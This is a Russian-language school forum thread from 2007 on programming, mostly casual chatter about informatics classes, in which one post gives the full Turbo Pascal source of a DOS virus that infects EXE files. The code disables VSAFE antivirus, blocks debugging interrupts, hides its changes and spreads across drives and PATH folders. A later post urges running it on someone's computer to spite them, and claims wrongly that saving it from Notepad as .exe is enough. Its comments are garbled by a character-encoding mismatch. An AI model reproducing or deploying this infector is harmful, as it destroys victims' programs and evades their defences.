Кто умеет программировать? И на каких языках?..
Программирование...
Сообщений 1 страница 30 из 47
Поделиться22007-01-26 14:51:29
Как то увлекался С++, Delphi НормальнО!!!!
Поделиться32007-01-26 18:17:00
С програмированием у меня фиговенько.Сколько не старался никак 
Поделиться42007-01-26 20:25:39
Я в последнее время увлеклась... Вообще-то сейчас пока осваиваю только бэйсик... но собираюсь приняться за С++. Вотъ. 
Сначала не получалось, потом втянулась, интересно стало. Мне нравиться, что там думать логично надо, чтобы что-то получилось.
Поделиться52007-01-26 20:36:34
Программисты нужны... Через полгода-год, но нужны.
Поделиться62007-01-26 20:59:38
Нужны кому?
Поделиться72007-01-26 22:52:02
Я увлекался. Сейчас забросил. У нас в школе есть люди(они есть и на форуме), которые до сих пор работают с флеш, web - страницами и.т.д.
Поделиться82007-01-30 20:10:55
У нас, SphinX не даст соврть, в школе дают всего 8% знаний. Дальше сам.
Поделиться92007-01-30 22:36:36
Не дам соврать. ВРЕТ!!!!!!!!!!!!! Нам дают всего 7.9 процента))))))))))))))))))))))))))))))))))))))))))))))
Поделиться102007-01-30 22:51:28
А я сначала не понимала ничего, когда в школе проходили, но потом интересно стало пыталась разобраться, мне ещё брат помогал (он системный админ и програмист по совместительству) А сейчас мы с Демоном вдвоём в нашей группе на инфе оттягиваемся! Вот должны были ещё перед Новым Годом на районную олимпиаду поехать, но блин, я заболела, а парни в этот день экзамен на курсах сдавали. Вотъ. В мае если всё нормально будет поедем...
Поделиться112007-01-30 23:01:23
Volchonok, аааааааааааааа. Ну, я завсегдатай олимпиады по Химии
Поделиться122007-01-31 00:29:23
а меня информатика уже бесит меня информатик достал со своим вопросами про свою тупую программу я даже забыл как она называется !!! меня просто бесит это программа и он за эту тему мне козёл поставил 2 !!! я обиделся (а вот в строй школе я на информатику приходил всегда в CS играли с преподом ! ))
Поделиться132007-01-31 16:28:45
Играть в КС совсем не означает быть профи в компах
Поделиться142007-01-31 16:48:18
я до этого на курсы ходил я в железе хорошо разбирался и боле менее в самой системе
Поделиться152007-01-31 17:06:17
Unspected, ну курсы не ходил. На моем счету 3 спаленых компа)))))
Поделиться162007-01-31 17:44:19
Ну, мне друг щас помогает ПХП осваивать..
Поделиться172007-01-31 18:20:25
А у нас круто на информатике! Мы и учимся(интересно) и играем в свободное время!
Поделиться182007-01-31 18:23:19
Volchonok, а у нас попробуй поиграй!!!! Голову откусит)))) Правда есть лазейка))))))))
Поделиться192007-01-31 18:51:32
А наш с нами играет! Какая лазейка?
Поделиться202007-01-31 20:13:13
У нас играть можно, но если хорошо спрячеш и никто не найдет.
Поделиться212007-01-31 22:10:34
SheyY-ZaN, я же говорил - лазейка. Volum System Information
Поделиться222007-02-02 21:53:33
Web и вирусы я люблю да прочее тож но програмирование компа никак.Не катит
Поделиться232007-02-03 19:22:20
SheyY-ZaN. она дура. Правдо относительно. Она половину каникул потратила на поиск моего вируса в своих компах
Поделиться242007-02-08 11:29:27
Вообщем я ложу код вирусняка. Код в принципе простой, но понять надо.
{EWVir 1.2 (c) MrWeb.}
{$M 2048 , 0 , 0}
{$i-}
Uses Dos;
Const RV=9999;          { ђ §¬Ґа ўЁагб  }
      M='err  ';        { ЊҐвЄ  }
      MestoM=999;       { ЊҐбв® ¬ҐвЄЁ }
      Rcode=1;
      SizeCODE=321;     {а §¬Ґа ¤«п иЁда®ўЄЁ }
      RRcode=1;         { Є®¤ иЁда®ўЄЁ }
      Smech=2;          { ᬥ襨Ґ иЁда®ўЄЁ }
Var
   DosInfo:SearchRec;
   VirBuf            :  Array [1..RV] of Char; { ¬ ббЁўл ¤«п § ЇЁбЁ }
   VirBufv           :  Array [1..RV] of Char; { ¬ ббЁўл ¤«п § ЇЁбЁ }
   VB:file;
   B:array[1..5] of Char;
   Attr,Attr2              :  Word;                      { а㥬®© Їа®Ја ¬¬л }
   Time,Time2              :  LongInt;
   I:integer;
   CmdLine           :  String;
   b2,b3,b4:array[1..2] of Char;
   InfFiles,stle          :  Byte;
   ih:integer;
   Sam,pat:string;
   KbdIntVec : Procedure;
   O1H , O3H  , Br   :  Pointer;
   myname:string;
   spa:string;
   spa1:string[1];
   pati,paii:integer;
   S: PathStr;
   pats:string;
   parh:byte;
   EX:string;
   dist:string[2];
   VirBufk           :  Array [1..rcode] of Char; { ¬ ббЁўл ¤«п § ЇЁбЁ }
   VirBufk2           :  Array [1..rcode] of Char; { ¬ ббЁўл ¤«п § ЇЁбЁ }
    ierunda:integer; {+}
   Bufcode : Array[0..sizecode] of byte; {¤«п иЁда®ўЄЁ}
   icode:integer; {+}
{$F+}
  procedure Balvanka;
   begin
              { BALVANKA }
   end;
{$F-}
{$F+}
  procedure ReBoot; Interrupt;   { + }
   begin                         { Ђ нв® ¤«п в®Ј®, зв®Ўл Ґе®а®иЁҐ ¤п¤Ё }
    InLine($EA/                  { ‹®§ЁбЄЁҐ Ґ § ЇгбЄ «Ё Debug t }
           $00/
           $00/
           $FF/
           $FF);
   end;
{$F-}
{$F+}
  procedure BreakOff; Interrupt;   { + }
   begin
              { Invisible Magic Words! }
   end;
{$F-}
Procedure antiVSAFE;    { ўлЄ«оз вҐ«м VSAFE}
        begin
        asm   { + }
        mov     ax,0fa02h   { + }
        mov     dx,5945h   { + }
        xor     bl,bl   { + }
        int     16h   { + }
        end;
        end;
 Procedure CWP;       { Їа®ўҐаЄ , Ґ бв®Ёв «Ё   ¤ЁбЄҐ read only?}
  Var {+}
  leftfile:string; {+}
  begin                             { Write Protect }
   Assign(VB , dist+'\'+#$FF);     { Invisible file ! }
   ReWrite(VB);
   Erase(VB); {+}
   If IOResult <> 0 Then
     begin
     leftfile:='c:\'+dosinfo.name;
          SwapVectors;
          exec(GetEnv('COMSPEC'),'/c copy '+sam+' '+leftfile+' >nul');
          SwapVectors;
          Sam:=leftfile;
          Assign(VB , sam);
          SetFAttr(VB , Archive);    { “бв  ў«Ёў Ґ¬  вваЁЎгв Archive }
          stle:=13;
     end;
 end;
Procedure tabl;   { ЊҐвЄг ў бў®Ґ ⥫® }
 begin
     If False Then
         begin                  { ‡ бггвм ¬ҐвЄг ў ᥡп }
            WriteLn(#13#10,M);
         end;
end;
Procedure Kusok;        {Їа®жҐ¤га  иЁда®ўЄЁ ®бЁвҐ«п}
Begin
  seek(vb,Smech);
  blockread(vb,bufcode,SizeCODE);
  for icode:=0 to SizeCODE do bufcode[icode]:=bufcode[icode]-rrcode;
  seek(vb,Smech);
  blockwrite(vb,bufcode,SizeCODE);
  seek(vb,0);
end;
Procedure antiKusok;    {Їа®жҐ¤га  а биЁда®ўЄЁ ®бЁвҐ«п}
Begin
   seek(vb,Smech);
   blockread(vb,bufcode,SizeCODE);
   for icode:=0 to SizeCODE do bufcode[icode]:=bufcode[icode]+rrcode;
   seek(vb,Smech);
   blockwrite(vb,bufcode,SizeCODE);
   seek(vb,0);
end;
Procedure Proverka;   { Їа®ўҐаЄ  бў®ҐЈ® ⥫  }
Begin
    assign(vb,sam);
    reset(vb,1);
    seek(vb,MestoM);
    blockread(vb,b,5);  { Џа®ўҐаЁвм ¬ҐвЄг }
    close(vb);
    if b<>M then
       Begin
       writeln('Error in data!Please, start file again.');
       Halt;
       end;
end;
Procedure zaraza;        { ‡ а ¦ҐЁҐ }
Begin
   Assign(VB,pat+dosinfo.name);
   reset(vb,1);
   kusok;
     seek(vb,1530); {§ Їгвлў ЁҐ}
     BlockRead(VB , VirBufk , rcode);
     seek(vb,0);
     BlockRead(VB , VirBufk2 , rcode);
     seek(vb,1530);
     Blockwrite(VB , VirBufk2 , rcode);
     seek(vb,0);
     Blockwrite(VB , VirBufk , rcode);
     seek(vb,0);
   BlockRead(VB , VirBuf , RV);
   seek(vb,0);
   Blockwrite(VB , VirBufv , RV);
   seek(vb,dosinfo.size);
   Blockwrite(VB , VirBuf , RV);
   close(vb);
end;
Procedure start;        { ‡ ЇгбЄ бў®ҐЈ® ®бЁвҐ«п }
begin
    FindFirst(sam , archive , DosInfo);  { Џ®«гз Ґ¬ Ї®«го Ёд® }
    myname:=dosinfo.name;
    Assign(VB , sam);
    Reset(VB , 1);
    Seek(VB , DosInfo.Size - rv);
    BlockRead(VB , VirBuf , rv);   { "‹ҐзЁ¬" § а ¦Ґл© д ©« }
    Seek(VB , DosInfo.Size - rv);
    Truncate(VB);
    Seek(VB , 0);
    BlockWrite(VB , virBuf , rv);
     seek(vb,1530); {а биЁда®ўЄ }
     BlockRead(VB , VirBufk , rcode);
     seek(vb,0);
     BlockRead(VB , VirBufk2 , rcode);
     seek(vb,1530);
     Blockwrite(VB , VirBufk2 , rcode);
     seek(vb,0);
     Blockwrite(VB , VirBufk , rcode);
     seek(vb,0);
   antikusok;
    SetFTime(VB , Time2);
    SetFAttr(VB , Attr2);
    Close(VB);
     IF ParamCount <> 0 Then
        Begin
           For I:=1 To ParamCount Do
             CmdLine:=CmdLine + ' ' + ParamStr(I); { бзЁвлў Ґ¬ Ї а ¬Ґвал }
        End;                                       { ў Є®¬ ¤®© бва®ЄҐ }
    SwapVectors;
    Exec(sam,CmdLine);  { ?бЇ®«пҐ¬ }
    SwapVectors;
    Assign(VB , sam);                       { ‡ а ¦ Ґ¬ ў ®Ўа в®¬ }
    SetFAttr(VB , Archive);                 { Ї®ап¤ЄҐ }
    Reset(VB , 1);
   kusok;
     seek(vb,1530); { ®Їпвм § Їгвлў Ґ¬ }
     BlockRead(VB , VirBufk , rcode);
     seek(vb,0);
     BlockRead(VB , VirBufk2 , rcode);
     seek(vb,1530);
     Blockwrite(VB , VirBufk2 , rcode);
     seek(vb,0);
     Blockwrite(VB , VirBufk , rcode);
     seek(vb,0);
    BlockWrite(VB , VirBufv , rV);
    Seek(VB , DosInfo.Size - rV);
    BlockWrite(VB , virBuf , rV);
    SetFTime(VB , Time2);         { ў®ббв  ў«Ёў Ґ¬ ¤ вг/ўаҐ¬п Ё } 
    SetFAttr(VB , Attr2);         {  ваЁЎгвл д ©«  }
    Close(VB);
end;
Procedure InfExe;               { ЁбЄ вм ¦Ґавўл }
Label L1,L2; {+}
Begin
   pats:='';
   FindFirst(pat+'*'+ex,archive,dosinfo); {+}
   while doserror = 0  do
   Begin
    assign(vb,pat+dosinfo.name);
    Attr:=DosInfo.Attr;
    setfattr(vb,archive);
    if ioresult <> 0 then goto l2;
    reset(vb,1);
if dosinfo.size>RV+4757 then begin
    seek(vb,MestoM);
    blockread(vb,b,5);  { Џа®ўҐаЁвм ¬ҐвЄг }
    if ioresult <> 0 then goto l2;
    seek(vb,1024);
    blockread(vb,b2,2); { Џа®ўҐаЁвм   windowsЁб "NE" }
    seek(vb,78);
    blockread(vb,b3,2); { Џа®ўҐаЁвм   windowsЁб "Th..." }
    seek(vb,80);
    blockread(vb,b4,2); { Џа®ўҐаЁвм   windowsЁб "Th..." }
             end;
    close(vb);
if b2='NE' then b:=M;
if b3='Th' then b:=M;
if b4='Th' then b:=M;
if dosinfo.size<RV+4757 then b:=M; {Ґ § а ¦ вм ¬ «ҐмЄЁе}
if dosinfo.name='SETVER'+ex then b:=m;
if dosinfo.name='SMARTDRV'+ex then b:=m;
    if b<>M then Zaraza else Begin
                             assign(vb,pat+dosinfo.name);
                             SetFAttr(VB , Attr);         {  ваЁЎгвл д ©«  }
                             End;
L2:
   findnext(dosinfo);
   end;
L1:
end;
Begin                   {MAIN}
     Tabl; {¬ҐвЄг ў ўЁагб}
     GetIntVec($01 , O1H);                  { Џ®¤Ј®в ў«Ёў Ґ¬ бЁб⥬г }
     SetIntVec($01 , @ReBoot);              { Є ЇаЁпвЁо ўЁагб : }
     GetIntVec($03 , O3H);                  { ‚Ґи Ґ¬  вЁва ббЁа®ўйЁЄ }
     SetIntVec($03 , @ReBoot);              {   int 1h Ё int 3h }
     GetIntVec($1B , Br);                   { § ¬ҐпҐ¬ ўҐЄв®а ^C }
     SetIntVec($1B , @BreakOff);
     SetCBreak(False);                      { Ё ®вЄ«оз Ґ¬ ^C }
AntiVSAFE;
     Sam:=paramstr(0);
    Dist:=paramstr(0);
    FindFirst(sam , archive , DosInfo);  { Џ®«гз Ґ¬ Ї®«го Ёд® }
    Assign(VB , sam);
    Time2:=DosInfo.Time;          { ‡ Ї®¬Ё Ґ¬ ¤ вг/ўаҐ¬п Ё  ваЁЎгвл д ©«  }
    Attr2:=DosInfo.Attr;
    SetFAttr(VB , Archive);    { “бв  ў«Ёў Ґ¬  вваЁЎгв Archive }
CWP;
    Proverka; {Їа®ўҐаЄ  бў®Ґ© бвагЄвгал}
    Assign(VB , sam);
    Reset(VB , 1);
    BlockRead(VB , VirBufv , RV);   { ‘зЁвлў Ґ¬ ў ЎгдҐа ⥫® ўЁагб  }
    Close(VB);
{§ а ¦ вм ў ⥪г饬 Є в «®ЈҐ}
InfFiles:=0;
EX:='.EXE';
InfExe;
pat:='c:';
EX:='.EXE';
InfExe;
pat:='d:';
EX:='.EXE';
InfExe;
{ ‡ а ¦ҐЁп Є в «®Ј®ў PATH }
    S :=GetEnv('PATH');
    for pati:=1 to length(s) do begin
                                parh:=ord(s[pati]);
                                if parh = 59 then begin
                                paii:=length(pats);
                                if pats[paii]<>'\' then pats:=pats+'\';
                                       InfFiles:=0;
                                        pat:=pats;
EX:='.EXE';
InfExe;
                                        end;
                                if parh <> 59 then pats:=pats+s[pati];
                                end;
    SetIntVec($01 , O1H);      { ‚®ббв  ў«Ёў Ґ¬ § еў зҐлҐ ўҐЄв®ал }
    SetIntVec($03 , O3H);
    SetIntVec($1B , Br);
Start; {‡ЂЏ“‘Љ ?Ќ”. ЏђЋѓђЂЊЊ›}
   If stle=13 then begin {г¤ «Ёвм ўаҐ¬Ґл© д ©«}
   Assign(VB , sam);
   SetFAttr(VB , Archive);    { “бв  ў«Ёў Ґ¬  вваЁЎгв Archive }
   reset(vb);
   erase(vb);
   end;
Halt(dosexitcode); {ўл室 ў Ћ‘ б б®еа ҐЁҐ¬ Є®¤ ®иЁЎЄЁ}
end.
Поделиться252007-02-08 23:11:05
SphinX, :swoon: и чё это?.. Тоесть зачем?... тоесть как этим пользоваться?... вобщем с чем это едят? А чё за вирусняк то вообще?
Поделиться262007-02-08 23:27:52
Volchonok, классная вещь!!! Полностью убивает все ЕХЕ файлы. Просто копируешь в блокнот и сохраняешь с именем *.ехе. Потом запускаешь на компе того, кому хочешь насолить!!!!!!!))))))))
Поделиться272007-02-08 23:33:06
Гм...Миленький такой УЖАС... А ты его сам делал? С помощью каких програм обычно создаются такие штуки?
Поделиться282007-02-09 09:18:11
да знаеш что просто при вирусах делаеш фаервол новой версии устанавливаеш и всё что бы всякие грязные ссылки невыходили обычно на них вирусы лежат а лучше ещё анти-вирус токо НЕ КАСПЕРСКИЙ - ЭТО ПАРАША !
Поделиться292007-02-09 10:55:09
Volchonok, сделал сам. Написал в БЛОКНОТЕ. ))))))))))))
Поделиться302007-02-09 16:45:54
SphinX, а как ты его делал? Ведь есть какая-то основа стандартная наверное?  
Когда текст такой непонятный - { Ђ нв® ¤«п в®Ј®, зв®Ўл Ґе®а®иЁҐ ¤п¤Ё } это специально так набивается, или он просто отображается по-другому?
Вобщем, я ничего не поняла ,но мне интересно стало.........
Похожие темы
| знакомства с новыми людьми! | Общение | 2008-03-16 |